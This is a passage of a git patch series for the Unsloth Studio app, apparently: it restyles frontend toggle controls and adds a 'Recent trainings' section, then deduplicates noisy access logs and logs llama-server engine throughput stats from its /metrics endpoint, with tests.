-    <div className="inline-flex items-center rounded-md border border-border bg-muted/30 p-0.5">
+    <div className="hub-tab-toggle inline-flex h-8 items-center rounded-full">
       {OPTIONS.map((opt) => {
         const active = theme === opt.value;
         return (
@@ -37,7 +37,7 @@ export function ThemeSegmented() {
             onClick={() => setTheme(opt.value)}
             aria-pressed={active}
             className={cn(
-              "relative flex h-7 items-center gap-1.5 rounded px-2.5 text-xs font-medium transition-colors",
+              "relative flex h-8 items-center gap-1.5 rounded-full px-3 text-xs font-medium transition-colors",
               active
                 ? "text-foreground"
                 : "text-muted-foreground hover:text-foreground",
@@ -46,7 +46,7 @@ export function ThemeSegmented() {
             {active && (
               <motion.span
                 layoutId="theme-pill"
-                className="absolute inset-0 rounded bg-background shadow-border"
+                className="hub-tab-toggle-pill absolute inset-0 rounded-full"
                 transition={
                   reduced
                     ? { duration: 0 }
diff --git a/studio/frontend/src/features/settings/components/update-studio-instructions.tsx b/studio/frontend/src/features/settings/components/update-studio-instructions.tsx
index 2b7855127a..e7ec970cc0 100644
--- a/studio/frontend/src/features/settings/components/update-studio-instructions.tsx
+++ b/studio/frontend/src/features/settings/components/update-studio-instructions.tsx
@@ -187,10 +187,10 @@ function ShellToggleButton({
       onClick={onClick}
       aria-pressed={active}
       className={cn(
-        "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors",
+        "inline-flex h-8 items-center justify-center rounded-full px-3.5 text-[12px] font-medium transition-colors",
         active
-          ? "bg-foreground/[0.08] text-foreground dark:bg-white/[0.12]"
-          : "text-muted-foreground hover:text-foreground",
+          ? "hub-tab-toggle-pill text-foreground"
+          : "cursor-pointer text-muted-foreground hover:text-foreground",
       )}
     >
       {label}
@@ -265,7 +265,7 @@ export function UpdateStudioInstructions({
             {t("settings.about.update.title")}
           </p>
         ) : null}
-        <div className="flex shrink-0 items-center gap-1.5">
+        <div className="hub-tab-toggle inline-flex h-8 shrink-0 items-center rounded-full">
           <ShellToggleButton
             active={!windows}
             label="MacOS / Linux"
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index 874c9fa930..4085aa2ab0 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -320,7 +320,7 @@ function HighlightedCode({
     [code, language],
   );
   return (
-    <div className="max-w-full overflow-x-auto p-3 pr-16 text-[11px] leading-relaxed [&_pre]:!m-0 [&_pre]:!whitespace-pre-wrap [&_pre]:!break-words [&_pre]:!border-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!border-0 [&_[data-streamdown=code-block]]:!bg-transparent [&_[data-streamdown=code-block]]:!p-0">
+    <div className="max-w-full overflow-x-auto p-3 pr-16 text-[11px] leading-relaxed [&_pre]:!m-0 [&_pre]:!whitespace-pre-wrap [&_pre]:!break-words [&_pre]:!border-0 [&_pre]:!bg-transparent [&_pre]:!p-0 [&_pre]:!text-[11px] [&_pre]:!leading-relaxed [&_code]:!text-[11px] [&_[data-streamdown=code-block]]:!my-0 [&_[data-streamdown=code-block]]:!border-0 [&_[data-streamdown=code-block]]:!bg-transparent [&_[data-streamdown=code-block]]:!p-0 [&_[data-streamdown=code-block]]:!text-[11px]">
       <Streamdown
         mode="static"
         plugins={{ code: codePlugin }}
@@ -467,9 +467,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                   onClick={() => setLang(tab.id)}
                   aria-pressed={active}
                   className={cn(
-                    "rounded px-2 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                    "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                     active
-                      ? "bg-background text-foreground shadow-border"
+                      ? "hub-tab-toggle-pill text-foreground"
                       : "text-muted-foreground hover:text-foreground",
                   )}
                 >
@@ -488,7 +488,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               className={cn(
                 "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                 os === "unix"
-                  ? "bg-foreground/[0.08] text-foreground dark:bg-white/[0.12]"
+                  ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
               )}
             >
@@ -501,7 +501,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               className={cn(
                 "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
                 os === "windows"
-                  ? "bg-foreground/[0.08] text-foreground dark:bg-white/[0.12]"
+                  ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
               )}
             >
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index a2da6c201b..4255dc1c93 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -114,7 +114,7 @@ export function SettingsDialog() {
     <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
       <DialogContent
         showCloseButton={false}
-        overlayClassName="bg-background/40"
+        overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
         onCloseAutoFocus={(e) => {
           // Restore focus to the element that triggered openDialog(). Radix's
           // FocusScope races our rAF-scheduled tab focus and loses the
diff --git a/studio/frontend/src/features/studio/recent-trainings-section.tsx b/studio/frontend/src/features/studio/recent-trainings-section.tsx
new file mode 100644
index 0000000000..43808a7ca9
--- /dev/null
+++ b/studio/frontend/src/features/studio/recent-trainings-section.tsx
@@ -0,0 +1,37 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useNavigate } from "@tanstack/react-router";
+import { useTrainingRuntimeStore } from "@/features/training";
+import { useTrainingHistorySidebarItems } from "@/features/training/hooks/use-training-history-sidebar";
+import { HistoryCardGrid } from "./history-card-grid";
+
+/**
+ * Recent training runs surfaced on Data Recipes and Export. Selecting a run
+ * stores its id and navigates to Studio, which auto-opens its History tab.
+ * Renders nothing once we know there are no runs.
+ */
+export function RecentTrainingsSection() {
+  const navigate = useNavigate();
+  const setSelectedHistoryRunId = useTrainingRuntimeStore(
+    (s) => s.setSelectedHistoryRunId,
+  );
+  const { items, loaded } = useTrainingHistorySidebarItems(true);
+
+  if (loaded && items.length === 0) return null;
+
+  return (
+    <section className="mt-10">
+      <h2 className="mb-4 text-[18px] font-semibold tracking-[-0.02em] text-foreground">
+        Recent trainings
+      </h2>
+      <HistoryCardGrid
+        onSelectRun={(runId) => {
+          setSelectedHistoryRunId(runId);
+          navigate({ to: "/studio" });
+        }}
+        onResumeStarted={() => navigate({ to: "/studio" })}
+      />
+    </section>
+  );
+}
diff --git a/studio/frontend/src/features/studio/sections/dataset-section.tsx b/studio/frontend/src/features/studio/sections/dataset-section.tsx
index 970e5246af..38dbc8742b 100644
--- a/studio/frontend/src/features/studio/sections/dataset-section.tsx
+++ b/studio/frontend/src/features/studio/sections/dataset-section.tsx
@@ -27,6 +27,7 @@ import {
 } from "@/components/ui/select";
 import { Spinner } from "@/components/ui/spinner";
 import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs";
+import { cn } from "@/lib/utils";
 import {
   Tooltip,
   TooltipContent,
@@ -590,31 +591,67 @@ export function DatasetSection() {
         }`}
       >
         <div className="flex min-w-0 flex-col gap-4">
-          <Tabs
-            value={datasetSource}
-            onValueChange={(value) => {
-              if (value === datasetSource) return;
-              if (value === "huggingface") {
-                selectHfDataset(dataset);
-              } else if (value === "upload") {
-                selectLocalDataset(uploadedFile);
-              } else if (value === "s3") {
-                if (isMultimodalModel) return;
-                selectS3Source();
-              }
-            }}
-            className="w-full"
-          >
-            <TabsList className="w-full">
-              <TabsTrigger value="huggingface">Hugging Face</TabsTrigger>
-              <TabsTrigger value="upload">
-                {t("studio.dataset.localTab")}
-              </TabsTrigger>
-              {!isMultimodalModel && (
-                <TabsTrigger value="s3">Amazon S3</TabsTrigger>
-              )}
-            </TabsList>
-          </Tabs>
+          {(() => {
+            // Hub-style sliding-pill segmented control, matching the Hub tabs
+            // via the shared .hub-tab-toggle / .hub-tab-toggle-pill classes.
+            const sourceTabs: {
+              value: "huggingface" | "upload" | "s3";
+              label: string;
+            }[] = [
+              { value: "huggingface", label: "Hugging Face" },
+              { value: "upload", label: t("studio.dataset.localTab") },
+              ...(!isMultimodalModel
+                ? [{ value: "s3" as const, label: "Amazon S3" }]
+                : []),
+            ];
+            const activeIndex = Math.max(
+              0,
+              sourceTabs.findIndex((item) => item.value === datasetSource),
+            );
+            return (
+              <div
+                role="radiogroup"
+                aria-label="Dataset source"
+                className="hub-tab-toggle relative inline-flex h-9 w-full items-center rounded-full"
+              >
+                <span
+                  aria-hidden="true"
+                  className="hub-tab-toggle-pill pointer-events-none absolute inset-y-0 left-0 rounded-full transition-transform duration-200 ease-out"
+                  style={{
+                    width: `${100 / sourceTabs.length}%`,
+                    transform: `translateX(${activeIndex * 100}%)`,
+                  }}
+                />
+                {sourceTabs.map((item) => (
+                  <button
+                    key={item.value}
+                    type="button"
+                    role="radio"
+                    aria-checked={datasetSource === item.value}
+                    onClick={() => {
+                      if (item.value === datasetSource) return;
+                      if (item.value === "huggingface") {
+                        selectHfDataset(dataset);
+                      } else if (item.value === "upload") {
+                        selectLocalDataset(uploadedFile);
+                      } else if (item.value === "s3") {
+                        if (isMultimodalModel) return;
+                        selectS3Source();
+                      }
+                    }}
+                    className={cn(
+                      "relative z-10 inline-flex h-9 flex-1 cursor-pointer items-center justify-center rounded-full px-3 text-[12.5px] font-medium transition-colors",
+                      datasetSource === item.value
+                        ? "text-foreground"
+                        : "text-muted-foreground hover:text-foreground",
+                    )}
+                  >
+                    {item.label}
+                  </button>
+                ))}
+              </div>
+            );
+          })()}
 
           {datasetSource === "s3" && <S3ConfigForm />}
 
diff --git a/studio/frontend/src/features/studio/sections/model-section.tsx b/studio/frontend/src/features/studio/sections/model-section.tsx
index 425f55eb53..e37620cc0a 100644
--- a/studio/frontend/src/features/studio/sections/model-section.tsx
+++ b/studio/frontend/src/features/studio/sections/model-section.tsx
@@ -470,7 +470,7 @@ export function ModelSection() {
                   )}
                   <div
                     ref={scrollRef}
-                    className="max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]"
+                    className="hover-scrollbar max-h-64 overflow-y-auto overscroll-contain [scrollbar-width:thin]"
                   >
                     <ComboboxList className="p-1 !max-h-none !overflow-visible">
                       {(id: string) => {
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index 118d5f9383..42b8bca35f 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -906,8 +906,9 @@
 		border: none;
 		/* Pin to the dark --radius so rounded-3xl corners stay consistent. */
 		--radius: 0.625rem;
-		/* Match the chat box: soft elevation. */
-		box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+		/* Prominent, wide ChatGPT-style elevation. */
+		box-shadow: 0 24px 70px -16px rgba(0, 0, 0, 0.28),
+			0 8px 24px -12px rgba(0, 0, 0, 0.18);
 	}
 
 	/* Dark: page-bg shadow so the dialog does not merge into same-color

From 9a966adf51bcd9d14d175d9ef424b7ac1769e4a4 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 17 Jun 2026 05:37:57 -0700
Subject: [PATCH 43/91] Studio: trim serving-log noise and surface llama-server
 engine stats (#6377)

* Studio: trim serving-log noise and surface llama-server engine stats

Studio prints one structured line per HTTP request, so the SPA's polling and
per-invalidation fan-out bury the lines that matter.

- Dedup identical successful GETs within a short window (default 300ms,
  UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS) so a burst logs once. The dedup key
  includes the query string, so distinct query-driven GETs are not collapsed.
  Runs after the response is sent, so it adds no request latency; mutations,
  non-2xx, and loading polls are untouched.
- Collapse pure-liveness polls (/api/health, /api/auth/status,
  /api/inference/status, /api/inference/monitor) to a longer heartbeat
  (default 10s, UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS). The API monitor
  console polls /monitor every 1.5s while open.
- Translate llama-server's Prometheus /metrics into a periodic vLLM-style
  engine_stats line (generation/prompt throughput and requests in flight) from
  a daemon poller, gated on UNSLOTH_STUDIO_ENGINE_STATS. Throughput uses
  llama-server's predicted_tokens_seconds / prompt_tokens_seconds gauges, with
  a tokens_predicted_total / prompt_tokens_total counter-delta fallback; it does
  not use n_decode_total (which counts llama_decode() calls, not tokens). No KV
  field is emitted, since llama.cpp does not expose kv_cache_usage_ratio.
  --metrics is added only when probe_server_capabilities reports the binary
  supports it, so older/custom binaries still load. The poller keeps retrying
  through transient scrape failures (stop() drives shutdown) and a malformed
  sample cannot crash its thread.
- api_monitor.append_reply: once the preview cap is reached, skip the per-chunk
  re-concat (avoids O(n^2) on long generations) while still recording the "..."
  truncation marker for a reply that lands exactly on the cap.
- unsloth studio --verbose and unsloth studio run --verbose both restore every
  per-request log; --verbose before a subcommand is rejected with guidance
  (matching --secure / --parallel). run --verbose still forwards --log-verbose
  to llama-server, preserving the pre-existing pass-through verbosity.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/inference/api_monitor.py  |   9 +
 studio/backend/core/inference/llama_cpp.py    |  24 +++
 studio/backend/core/inference/llama_stats.py  | 118 ++++++++++++++
 studio/backend/loggers/handlers.py            |  57 ++++++-
 studio/backend/tests/test_api_monitor.py      |  38 +++++
 studio/backend/tests/test_llama_stats.py      | 128 +++++++++++++++
 .../backend/tests/test_logging_middleware.py  |  94 +++++++++++
 unsloth_cli/commands/studio.py                |  46 ++++++
 unsloth_cli/tests/test_studio_verbose_flag.py | 154 ++++++++++++++++++
 9 files changed, 666 insertions(+), 2 deletions(-)
 create mode 100644 studio/backend/core/inference/llama_stats.py
 create mode 100644 studio/backend/tests/test_llama_stats.py
 create mode 100644 unsloth_cli/tests/test_studio_verbose_flag.py

diff --git a/studio/backend/core/inference/api_monitor.py b/studio/backend/core/inference/api_monitor.py
index b4ecba1b9d..f76a38576f 100644
--- a/studio/backend/core/inference/api_monitor.py
+++ b/studio/backend/core/inference/api_monitor.py
@@ -134,6 +134,15 @@ class ApiMonitor:
             entry = self._find_locked(entry_id)
             if entry is None:
                 return
+            # Preview is capped: once the "..." marker is present the head is
+            # frozen, so skip the per-chunk re-concat (avoids O(n^2) on long
+            # generations). A reply that landed exactly on the cap has no marker
+            # yet, so let one more append record the truncation before freezing.
+            if len(entry.reply) >= _MAX_REPLY_CHARS:
+                if not entry.reply.endswith("..."):
+                    entry.reply = _trim(entry.reply + text, _MAX_REPLY_CHARS)
+                entry.updated_at = time.time()
+                return
             entry.reply = _trim(entry.reply + text, _MAX_REPLY_CHARS)
             entry.updated_at = time.time()
 
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 9221323bd9..31e5d9dec0 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1160,6 +1160,7 @@ class LlamaCppBackend:
         self._is_diffusion: bool = False
         self._diffusion_visual_bin: Optional[str] = None
         self._healthy = False
+        self._stats_logger = None  # vLLM-style engine-stats poller, set on load
         # Set by _classify_gpu_offload after _wait_for_health.
         self._gpu_offload_active: Optional[bool] = None
         self._context_length: Optional[int] = None
@@ -1689,6 +1690,7 @@ class LlamaCppBackend:
                 "supports_cache_ram": False,
                 "supports_ctx_checkpoints": False,
                 "supports_no_cache_prompt": False,
+                "supports_metrics": False,
             }
         try:
             mtime = int(Path(bin_path).stat().st_mtime)
@@ -1707,6 +1709,7 @@ class LlamaCppBackend:
         supports_cache_ram = False
         supports_ctx_checkpoints = False
         supports_no_cache_prompt = False
+        supports_metrics = False
         try:
             probe_env = cls._llama_server_env_for_binary(bin_path)
             result = subprocess.run(
@@ -1802,6 +1805,7 @@ class LlamaCppBackend:
             supports_cache_ram = _is_real("--cache-ram")
             supports_ctx_checkpoints = _is_real("--ctx-checkpoints")
             supports_no_cache_prompt = _is_real("--no-cache-prompt")
+            supports_metrics = _is_real("--metrics")
         except (OSError, subprocess.SubprocessError) as exc:
             logger.debug(f"llama-server --help probe failed: {exc}")
 
@@ -1817,6 +1821,7 @@ class LlamaCppBackend:
             "supports_cache_ram": supports_cache_ram,
             "supports_ctx_checkpoints": supports_ctx_checkpoints,
             "supports_no_cache_prompt": supports_no_cache_prompt,
+            "supports_metrics": supports_metrics,
         }
         cls._capability_cache[cache_key] = info
         return info
@@ -5059,6 +5064,10 @@ class LlamaCppBackend:
                     fully_gpu_offloaded = True
 
                 server_caps = self.probe_server_capabilities(binary)
+                # Expose Prometheus /metrics for the engine-stats logger, only
+                # when the binary advertises it (older/custom binaries may not).
+                if server_caps.get("supports_metrics"):
+                    cmd.append("--metrics")
                 cmd.extend(
                     self._ctx_integrity_flags(
                         n_parallel,
@@ -5597,6 +5606,18 @@ class LlamaCppBackend:
                 logger.info(
                     f"llama-server ready on port {self._port} for model '{model_identifier}'"
                 )
+                # Poll llama-server /metrics -> vLLM-style engine_stats logs
+                # (only when the binary exposes /metrics).
+                if server_caps.get("supports_metrics"):
+                    try:
+                        from core.inference.llama_stats import maybe_start_stats_logger
+                        if self._stats_logger is not None:
+                            self._stats_logger.stop()
+                        self._stats_logger = maybe_start_stats_logger(self.base_url, logger)
+                    except Exception as e:
+                        logger.debug(f"engine-stats logger not started: {e}")
+                else:
+                    self._stats_logger = None
 
             # Probe outside _lock (interruptible by /unload); init inside.
             self._is_audio = False
@@ -6104,6 +6125,9 @@ class LlamaCppBackend:
         except Exception as e:
             logger.warning(f"Error killing llama-server process: {e}")
         finally:
+            if self._stats_logger is not None:
+                self._stats_logger.stop()
+                self._stats_logger = None
             self._process = None
             # Clear healthy so a /load during the replacement's warm-up can't
             # short-circuit against the previous server's health (#5401).
diff --git a/studio/backend/core/inference/llama_stats.py b/studio/backend/core/inference/llama_stats.py
new file mode 100644
index 0000000000..6047aedbc0
--- /dev/null
+++ b/studio/backend/core/inference/llama_stats.py
@@ -0,0 +1,118 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Translate llama-server's Prometheus /metrics into a periodic, vLLM-style
+engine-stats log line (generation/prompt throughput, requests in flight).
+
+llama-server already computes these (it needs `--metrics`); this lifts them
+into Studio's structured log so the terminal shows serving health, not just
+per-request access lines. Emitted only while there is activity.
+"""
+
+import os
+import re
+import threading
+import time
+import urllib.request
+
+# Prometheus body lines: "llamacpp:<name>[{labels}] <value>" (skip "#" HELP/TYPE).
+_METRIC_RE = re.compile(r"^llamacpp:(\w+)(?:\{[^}]*\})?\s+([0-9.eE+-]+)", re.MULTILINE)
+_OFF = {"0", "false", "no", "off"}
+
+
+class LlamaServerStatsLogger:
+    """Daemon poller that logs vLLM-style engine stats from llama-server.
+
+    Keeps retrying through transient scrape failures; the backend stops it via
+    stop() on unload/reload, so a brief /metrics stall does not silence stats.
+    """
+
+    def __init__(
+        self,
+        base_url,
+        logger,
+        interval_s = 10.0,
+    ):
+        self._url = f"{base_url.rstrip('/')}/metrics"
+        self._log = logger
+        self._interval = max(1.0, float(interval_s))
+        self._stop = threading.Event()
+        self._thread = None
+
+    def start(self):
+        if self._thread is None:
+            self._thread = threading.Thread(target = self._run, name = "llama-stats", daemon = True)
+            self._thread.start()
+
+    def stop(self):
+        self._stop.set()
+
+    def _scrape(self):
+        try:
+            with urllib.request.urlopen(self._url, timeout = 3) as r:
+                if r.status != 200:
+                    return None
+                body = r.read().decode("utf-8", "replace")
+        except Exception:
+            return None
+        out = {}
+        for k, v in _METRIC_RE.findall(body):
+            try:  # a malformed value must not kill the daemon thread
+                out[k] = float(v)
+            except ValueError:
+                continue
+        return out
+
+    def _run(self):
+        misses = 0
+        prev = None  # (monotonic_t, tokens_predicted_total, prompt_tokens_total)
+        while not self._stop.wait(self._interval):
+            m = self._scrape()
+            if not m:
+                misses += 1
+                if misses == 3:  # transient stall (load/GC); keep polling.
+                    self._log.debug("engine_stats: /metrics scrape failing, still retrying")
+                continue  # real shutdown is driven by stop() from _kill_process
+            misses = 0
+            # Generation tokens come from tokens_predicted_total (counter) and
+            # predicted_tokens_seconds (gauge); n_decode_total counts
+            # llama_decode() calls, not tokens, so it must not feed tok/s.
+            now = time.monotonic()
+            predicted = m.get("tokens_predicted_total", 0.0)
+            prompt = m.get("prompt_tokens_total", 0.0)
+            gen_delta = prompt_delta = 0.0
+            if prev is not None and now > prev[0]:
+                dt = now - prev[0]
+                gen_delta = max(0.0, (predicted - prev[1]) / dt)
+                prompt_delta = max(0.0, (prompt - prev[2]) / dt)
+            prev = (now, predicted, prompt)
+            # Prefer llama.cpp's own throughput gauges; fall back to the counter
+            # delta for binaries that expose only the counters.
+            gen_tps = m.get("predicted_tokens_seconds") or gen_delta
+            prompt_tps = m.get("prompt_tokens_seconds") or prompt_delta
+            running, waiting = (
+                int(m.get("requests_processing", 0)),
+                int(m.get("requests_deferred", 0)),
+            )
+            # Gate on real activity this tick so a stale gauge never logs at idle.
+            if running or waiting or gen_delta or prompt_delta:
+                self._log.info(
+                    "engine_stats",
+                    gen_tok_s = round(float(gen_tps), 1),
+                    prompt_tok_s = round(float(prompt_tps), 1),
+                    running = running,
+                    waiting = waiting,
+                )
+
+
+def maybe_start_stats_logger(base_url, logger):
+    """Start a stats logger unless UNSLOTH_STUDIO_ENGINE_STATS disables it."""
+    if (os.environ.get("UNSLOTH_STUDIO_ENGINE_STATS", "1") or "").strip().lower() in _OFF:
+        return None
+    try:
+        interval = float(os.environ.get("UNSLOTH_STUDIO_ENGINE_STATS_INTERVAL_S", "10"))
+    except ValueError:
+        interval = 10.0
+    sl = LlamaServerStatsLogger(base_url, logger, interval)
+    sl.start()
+    return sl
diff --git a/studio/backend/loggers/handlers.py b/studio/backend/loggers/handlers.py
index b8691587ac..f471ceb300 100644
--- a/studio/backend/loggers/handlers.py
+++ b/studio/backend/loggers/handlers.py
@@ -8,6 +8,7 @@ filter_sensitive_data (structlog processor for sanitization), and
 get_logger (factory for structured loggers).
 """
 
+import os
 import re
 import time
 
@@ -17,6 +18,31 @@ from starlette.types import ASGIApp, Message, Receive, Scope, Send
 from utils.native_path_leases import redact_native_paths
 
 logger = structlog.get_logger(__name__)
+
+
+def _env_int(name: str, default: int) -> int:
+    try:
+        raw = (os.environ.get(name) or "").strip()
+        return int(raw) if raw else default
+    except ValueError:
+        return default
+
+
+# Drop duplicate successful-GET access logs repeated within the window: the SPA
+# fans one cache invalidation into many identical list fetches; only the first
+# informs. Loading polls, mutations, and errors are unaffected. 0 = log all.
+_ACCESS_LOG_DEDUP_MS = _env_int("UNSLOTH_STUDIO_ACCESS_LOG_DEDUP_MS", 300)
+# Pure-liveness/UI polls whose access line carries no signal beyond "client still
+# polling" (state changes are logged by their own modules). Collapsed to a longer
+# heartbeat instead of one line per poll; first hit and any error still log. 0 = off.
+_QUIET_POLL_DEDUP_MS = _env_int("UNSLOTH_STUDIO_ACCESS_LOG_POLL_DEDUP_MS", 10000)
+_QUIET_POLL_PATHS = {
+    "/api/health",
+    "/api/auth/status",
+    "/api/inference/status",
+    "/api/inference/monitor",
+}
+_DEDUP_MAP_MAX = 4096
 _NATIVE_PATH_LEASE_RE = re.compile(
     r"(?i)(\b(?:native_path_lease|nativePathLease)[\"']?\s*[:=]\s*[\"']?)[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+"
 )
@@ -43,6 +69,30 @@ class LoggingMiddleware:
 
     def __init__(self, app: ASGIApp) -> None:
         self.app = app
+        # (method, path, query, status_code) -> monotonic ts of the last EMITTED log.
+        self._last_log: dict[tuple[str, str, bytes, int], float] = {}
+
+    def _is_redundant_repeat(
+        self, method: str, path: str, query: bytes, status_code: int, now: float
+    ) -> bool:
+        """True if an identical GET/2xx log fired < window ago. The query string
+        is part of the identity, so distinct query-driven GETs are not collapsed.
+        Mutations and non-2xx are never deduped. Quiet-poll paths use a longer
+        heartbeat window. Stamps only on emit, so steady polls still log."""
+        if method != "GET" or not (200 <= status_code < 300):
+            return False
+        window_ms = _QUIET_POLL_DEDUP_MS if path in _QUIET_POLL_PATHS else _ACCESS_LOG_DEDUP_MS
+        if window_ms <= 0:
+            return False
+        key = (method, path, query, status_code)
+        last = self._last_log.get(key)
+        if last is not None and (now - last) * 1000.0 < window_ms:
+            return True
+        self._last_log[key] = now
+        if len(self._last_log) > _DEDUP_MAP_MAX:
+            cutoff = now - (max(_ACCESS_LOG_DEDUP_MS, _QUIET_POLL_DEDUP_MS) / 1000.0)
+            self._last_log = {k: v for k, v in self._last_log.items() if v >= cutoff}
+        return False
 
     async def __call__(self, scope: Scope, receive: Receive, send: Send) -> None:
         if scope["type"] != "http":
@@ -78,13 +128,16 @@ class LoggingMiddleware:
             )
             raise
         else:
-            if not excluded:
+            end_time = time.perf_counter()
+            if not excluded and not self._is_redundant_repeat(
+                scope["method"], path, scope.get("query_string", b""), status_code, end_time
+            ):
                 logger.info(
                     "request_completed",
                     method = scope["method"],
                     path = path,
                     status_code = status_code,
-                    process_time_ms = round((time.perf_counter() - start_time) * 1000, 2),
+                    process_time_ms = round((end_time - start_time) * 1000, 2),
                 )
 
 
diff --git a/studio/backend/tests/test_api_monitor.py b/studio/backend/tests/test_api_monitor.py
index f0943cd76c..56bc404350 100644
--- a/studio/backend/tests/test_api_monitor.py
+++ b/studio/backend/tests/test_api_monitor.py
@@ -220,3 +220,41 @@ def test_api_monitor_trim_guards_tiny_limit():
     assert _trim("abcdefgh", 3) == "..."
     assert _trim("abcdefgh", 4) == "a..."
     assert _trim("abcdefgh", 100) == "abcdefgh"
+
+
+def test_api_monitor_append_reply_caps_without_regrowing():
+    import core.inference.api_monitor as m
+
+    monitor = ApiMonitor(max_entries = 1)
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "go",
+    )
+    monitor.append_reply(entry_id, "x" * (m._MAX_REPLY_CHARS + 500))
+    capped = monitor.snapshot()[0]["reply"]
+    assert len(capped) == m._MAX_REPLY_CHARS and capped.endswith("...")
+
+    # Chunks past the cap must not change or grow the stored preview.
+    monitor.append_reply(entry_id, "y" * 1000)
+    assert monitor.snapshot()[0]["reply"] == capped
+
+
+def test_api_monitor_append_reply_exact_cap_then_more_marks_truncated():
+    import core.inference.api_monitor as m
+
+    monitor = ApiMonitor(max_entries = 1)
+    entry_id = monitor.start(
+        endpoint = "/v1/chat/completions",
+        method = "POST",
+        model = "m",
+        prompt = "go",
+    )
+    # A reply landing exactly on the cap has no "..." marker yet.
+    monitor.append_reply(entry_id, "x" * m._MAX_REPLY_CHARS)
+    assert not monitor.snapshot()[0]["reply"].endswith("...")
+    # One more chunk must record the truncation, not silently freeze.
+    monitor.append_reply(entry_id, "y")
+    reply = monitor.snapshot()[0]["reply"]
+    assert len(reply) == m._MAX_REPLY_CHARS and reply.endswith("...")
diff --git a/studio/backend/tests/test_llama_stats.py b/studio/backend/tests/test_llama_stats.py
new file mode 100644
index 0000000000..5e43d80f25
--- /dev/null
+++ b/studio/backend/tests/test_llama_stats.py
@@ -0,0 +1,128 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the llama-server /metrics -> engine_stats translator: generation
+throughput comes from generated-token metrics (not llama_decode() calls), and
+the unexposed kv_cache_usage_ratio is never fabricated into the log line."""
+
+from core.inference.llama_stats import LlamaServerStatsLogger
+
+
+class _Capture:
+    def __init__(self):
+        self.events = []
+
+    def info(self, event, **kw):
+        self.events.append((event, dict(kw)))
+
+    def debug(self, *a, **k):
+        pass
+
+
+def _drive(snaps):
+    """Run _run() synchronously over `snaps`, then stop deterministically."""
+    cap = _Capture()
+    lg = LlamaServerStatsLogger("http://127.0.0.1:0", cap)
+    lg._interval = 0.001  # bypass the 1s floor for a fast, synchronous run
+    state = {"i": 0}
+
+    def fake_scrape():
+        i = state["i"]
+        state["i"] += 1
+        if i >= len(snaps):
+            lg.stop()
+            return None
+        return snaps[i]
+
+    lg._scrape = fake_scrape
+    lg._run()
+    return [kw for ev, kw in cap.events if ev == "engine_stats"]
+
+
+def test_gen_tok_s_uses_token_metrics_not_decode_calls():
+    # tokens_predicted_total jumps 95 while n_decode_total only moves 9; the
+    # gauge reports 95 tok/s. Decode-call rate (9) must not be reported.
+    snaps = [
+        {
+            "tokens_predicted_total": 0.0,
+            "prompt_tokens_total": 0.0,
+            "n_decode_total": 0.0,
+            "predicted_tokens_seconds": 95.0,
+            "prompt_tokens_seconds": 30.0,
+            "requests_processing": 1.0,
+        },
+        {
+            "tokens_predicted_total": 95.0,
+            "prompt_tokens_total": 30.0,
+            "n_decode_total": 9.0,
+            "predicted_tokens_seconds": 95.0,
+            "prompt_tokens_seconds": 30.0,
+            "requests_processing": 1.0,
+        },
+    ]
+    stats = _drive(snaps)
+    assert stats, "expected engine_stats while a request is processing"
+    assert all(s["gen_tok_s"] == 95.0 for s in stats)
+    assert all(s["prompt_tok_s"] == 30.0 for s in stats)
+
+
